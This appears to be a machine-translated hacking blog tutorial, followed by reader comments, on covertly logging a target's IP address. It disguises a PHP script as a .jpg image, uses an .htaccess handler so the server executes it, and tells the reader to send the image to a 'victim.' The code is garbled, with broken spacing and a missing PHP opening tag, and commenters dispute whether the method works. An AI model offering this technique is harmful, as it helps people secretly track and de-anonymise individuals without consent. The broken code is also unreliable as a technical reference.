Last updated: November 14, 2022
An IP address is a unique number that allows a computer to communicate in a network. It is needed to send and receive information, much like a postal address is needed to receive regular mail.
Obtaining an IP address is not very difficult to do. We have already seen how to do it with the Email Tracking technique.
However, here we are going to share with you another more sophisticated technique which consists of retrieve a user's IP address using a simple image that has PHP code in it.
How to retrieve an IP address using an image?
Start by finding a free hosting space where you can host all kinds of files. Then create a new file named .htaccess and paste the following code into that file.
AddHandler application / x-httpd-php80 .jpg
This htaccess code will entrust the execution of the ".jpg" files to PHP
Now create another file grabber.jpg with a text editor and insert the following code into it:
$ fh = fopen ('ip_list.txt', 'a');
fwrite ($ fh, $ _SERVER ['REMOTE_ADDR']. "
");
fclose ($ fh);
$ im = imagecreatefromjpeg ("ladygaga.jpeg");
header ('Content-Type: image / jpeg');
imagejpeg ($ im);
imagedestroy ($ im);
?>
- imagecreatefromjpeg () returns an image identifier representing an image obtained from the file filename.
- imagejpeg () display or save an image in jpeg format using image image.
- imagedestroy () frees all the memory associated with the image image.
Finally, find a real picture that you want the victim to see (in our case, it's ladygaga.jpg). Add the three files (grabber.jpg, ladygaga.jpg and .htaccess) in a single folder and change the permissions of grabber.jpg to 755.
Our image is now ready to use, all that remains is to host it and send it to your target. When the latter opens the image, its IP address will be added to the file ip_list.txt.
Good evening, can you redo this tutorial by explaining a little bit more, please?
Another stupid trick
“create a new file named .htaccess”
Where have you seen a host or even an OS where you can create a .htaccess file with an extension with no name in front?
"paste the following code into this file".
How can we paste code in a vacuum? A file is not a folder, it's only in a folder that you can paste something and you still need to know in what form, with what extension????
Because we are impatiently waiting for you to give us the address of this magical host and no one ever answers and for good reason
And the whole site is the same, to reason on theory that is totally impossible in practice when it is not totally false.
It's not Hacking for Dummies but it is Hacking
by dummies this site
when they know nothing about it, don't bring it back! bullet hole https://fr.wikipedia.org/wiki/.htaccess
me I say it, avens to complain, the amateurs must always look at this a tutorial is of their level. this article is addressed to the programmer, and those who are not part of it have only to stay nicely in their places instead of criticizing
how will the image send the ip to our pc?
what do you call a "free hosting space"?